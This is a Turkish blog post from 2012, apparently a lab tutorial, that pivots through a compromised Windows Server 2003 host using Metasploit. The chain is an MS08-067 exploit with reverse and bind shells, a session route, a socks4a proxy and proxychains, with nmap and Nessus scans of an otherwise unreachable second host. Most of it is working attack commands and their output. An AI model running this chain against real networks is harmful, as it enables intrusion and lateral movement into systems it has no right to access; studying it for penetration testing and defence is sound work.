25 Haziran 2012 Pazartesi

Erişilemeyen Networklerde Meterpreter Pivoting ile Nmap ve Nessus Çalıştırma







Ortam gereksinimleri:
VMware Workstation
BackTrack 5
Windows Server 2003 SP1

Ortam hazırlıkları:
VMware workstation üzerinde bir adet BackTrack, iki adet Windows Server 2003 SP1 makinesi kuruldu. Kurban-1 makinesi olarak kullanılacak 2003 server’lardan biri iki network interface'li olacak şekilde ayarlandı. Virtual network editor üzerinden 10.10.10.0/24 networku tanımlanarak iki farklı network elde edilmiş oldu. Son durumda Saldırgan makinesinin sadece Kurban-1 makinesine erişiminin olduğu test edilerek senaryo üzerinde çalışılmaya başlandı.

Amaç:
Hedef network’te bulunan Kurban-1 makinesi ele geçirildikten sonra Kurban-2 makinesi üzerinde nessus ve nmap taramalarının yapılıp,  bulunan zafiyetlere göre Kurban-2 makinesinin ele geçirilmesidir.

Güvenlik denetimlerinde ele geçirilen bir makine coğu zaman yeterli gelmemektedir. Bu yüzden aynı networkte bulunan ama erişilemeyen makineler üzerinde çalışmak gerekebilir. Bu gibi durumlarda meterpreter pivoting yöntemi imdadimiza yetişmektedir. Peki pivoting yöntemi bize ne sağlıyor ve nasıl çalışıyor?
Pivot terimi özellikle spor oyunlarında çok kullanılmaktadır. Örneğin basketbolda pivot, pota altında duran genellikle uzun boylu oyuncular icin kullanılmaktadır. Burada pivotun görevi diğer oyuncuların potaya erişemedikleri zamanlarda araya girip topu potaya atmaktır.  Görüldüğü gibi basketbolda olan durum bizim sistemlerimiz içinde geçerlidir. Kurban-1 makinesi pivot görevini üstlenerek bizi diğer hedeflere taşımaktadır. Şimdi bu işlemlerin nasıl yapıldıgını sırasıyla inceleyelim.

NOT: Kurban-1 makinesi üzerindeki zafiyetler nessus aracı kullanılarak bulundu. Bu kısım bu yazıda gösterilmemiştir.

Öncelikle Kurban-1 makinesine nessus taraması sonucu bulduğumuz ms08_067 zafiyetini kullanarak meterpreter baglantısı kuruyoruz..

root@bt:~# msfconsole
msf > use exploit/windows/smb/ms08_067_netapi
msf  exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf  exploit(ms08_067_netapi) > set LHOST 192.168.1.2
LHOST => 192.168.1.2
msf  exploit(ms08_067_netapi) > set RHOST 192.168.1.42
RHOST => 192.168.1.42
msf  exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 192.168.1.2:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows 2003 - Service Pack 1 - lang:Unknown
[*] We could not detect the language pack, defaulting to English
[*] Selected Target: Windows 2003 SP1 English (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.1.42
[*] Meterpreter session 1 opened (192.168.1.2:4444 -> 192.168.1.42:1030) at 2012-06-22 15:16:57 -0400
meterpreter >

Kurban-1 makinesine meterpreter ile oturum açtık. Bu noktadan sonra Kurban-2 makinesine erişmek istiyoruz. Tüm bu işlemleri mevcut oturum üzerinden gerçekleştireceğiz. Background komutu ile mevcut oturumu arka planada çalışır durumda tutarak pivoting için gerekli adımlarla devam edeceğiz.

meterpreter > background
[*] Backgrounding session 1...

Burada dikkat edilmesi gereken nokta session ID`sidir. Bu session ID (1) üzerinden Kurban-2 makinesine doğru bir route yazacağız. 10.10.10.0/24 networku route listesinde olmayan saldırgan için gerekli routingler yazıldıktan sonra session 1 üzerinden Kurban-2 makinesine erişmiş olacağız.

10.10.10.0/24 networkunu route add komutu ile ekliyoruz. Burada komutun sonunda yer alan 1; Kurban-1 makinesine açmış olduğumuz session ID’sidir. Kısaca 10.10.10.0/24 networku için mevcut oturumu kullan diyoruz.

msf  exploit(ms08_067_netapi) > route add 10.10.10.0 255.255.255.0 1
[*] Route added

Bu noktadan sonra Kurban-2 makinesinde nmap ve nessus çalıştırmak için yöntemler arıyoruz.
Yapmak istediğimiz temel şey lokal makinemizde çalıştırdığımız araçların doğrudan tunel üzerinden Kurban-2 makinesine erişmesidir. Durum böyle olunca akla ilk olarak proxy kullanmak geliyor. Metasploit üzerinde yardımcı modül olarak gelen Socks4 proxy ile saldırgan üzerinden yönlendirilen TCP bağlantıları mevcut oturum ile hedefe gönderiliyor.
Peki saldırgan makinesi üzerinde çalışan nmap ve nessus gibi araçları Socks4’e nasıl yönlendireceğiz? Burada da proxychains tool’u bizden yardımını esirgemiyor.
İlk once Metasploit üzerinde Socks4 konfigurasyonunu yapalım.

msf  exploit(ms08_067_netapi) > use auxiliary/server/socks4a
msf  auxiliary(socks4a) > show options

Module options (auxiliary/server/socks4a):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The address to listen on
   SRVPORT  1080             yes       The port to listen on.

Burada default port olarak 1080 görüyoruz.

Ve run komutu ile aktif hale getiriyoruz.

msf  auxiliary(socks4a) > run
[*] Auxiliary module execution completed

[*] Starting the socks4a proxy server
[*] Stopping the socks4a proxy server

Şimdi sıra geldi proxychains konfigurasyonuna.
Yeni bir terminal açarak proxychains.conf dosyasını bir editor yardımıyla açıyoruz. Burada vi kullanılmıştır. 
socks4  127.0.0.1 1080 satırını ekliyoruz. Sadece port numarası farklı olabilir. Onuda 1080 olarak düzeltiyoruz.

root@bt:~# vi /etc/proxychains.conf
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4             127.0.0.1 1080

Artık nmap’i proxychains ile Kurban-2 makinesi için çalıştırabiliriz.

root@bt:~# proxychains nmap -sT -P0 -p445 10.10.10.128
ProxyChains-3.1 (http://proxychains.sf.net)

Starting Nmap 5.51 ( http://nmap.org ) at 2012-06-22 21:13 EDT
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.10.128:445-<--timeout
Nmap scan report for 10.10.10.128
Host is up (15s latency).
PORT    STATE  SERVICE
445/tcp closed microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 15.20 seconds

Görüldüğü gibi erişimimiz olmayan Kurban-2 makinesini nmap ile taramayı başarabildik. Simdi nessus ile zafiyet tarama işlemlerini yapalım. Yine aynı yöntemle proxychains ile nessus servislerini baslatiyoruz. Bu sayede nessus`u çalıştırdığımızda proxychains sayesinde mevcut meterpreter oturumu üzerinden hedef makineye doğru tarama baslayacaktır.

root@bt:~# /etc/init.d/nessusd stop
Shutting down Nessus : .
root@bt:~# proxychains /etc/init.d/nessusd start
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nessus : .

Nessus web ara yüzünden hedef makineye doğru tarama işlemini başlatabiliriz.



Görüldüğü gibi başarılı bir şekilde 10.10.10.128 makinesini tarayarak raporu elde ettik.

Dikkat:
Bu arada nessus ile tarama başlatmadan önce seçtiğimiz scan policy`nin altında bazı değişiklikler yapmamız gerekiyor. Socks4 proxy tunneling ile sadece TCP paketleri iletildiği icin policy konfigurasyonu altında Ping Host seçeneğini disable etmemiz gerekiyor. Aksi taktirde nessus ile tarama yapılamayacaktır.


Nessus ile Kurban-2 makinesini tarama yapabildiğimize göre çıkan zafiyetlere göre Kurban-2 makinesine de meterpreter bağlantısı kurabiliriz. Yine ms08_067 zafiyetini kullanarak oturum açmaya çalışacağız. Burada dikkat edilmesi gereken bir nokta reverse_tcp  payload`unu kullanamamizdir. Reverse_tcp payload`u ile trafik, Kurban-2 makinesi üzerinden başlatılmaktadır. Kurban-2 makinesinin routing tablosunda 192.168.1.0/24 networku olmadığı için oturum başlatılamayacaktır. Bu yuzden bind_tcp payload`unu çalıştıracağız.

msf  exploit(ms08_067_netapi) > set PAYLOAD windows/shell/bind_tcp
PAYLOAD => windows/shell/bind_tcp
msf  exploit(ms08_067_netapi) > set RHOST 10.10.10.128
RHOST => 10.10.10.128
msf  exploit(ms08_067_netapi) > set LPORT 4449
LPORT => 4449
msf  exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows 2003 - Service Pack 1 - lang:Unknown
[*] We could not detect the language pack, defaulting to English
[*] Selected Target: Windows 2003 SP1 English (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (240 bytes)
[*] Command shell session 2 opened (Local Pipe -> Remote Pipe) at 2012-06-22 15:23:50 -0400

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\WINDOWS\system32>

Bingooo.. Kurban-2 makinesinede böylelikle erişim saglamış olduk. Ipconfig yazarak doğruluğunu test edelim.

C:\WINDOWS\system32>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:

   Connection-specific DNS Suffix  . : localdomain
   IP Address. . . . . . . . . . . . : 10.10.10.128
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . :





-GG



0 yorum:

Yorum Gönder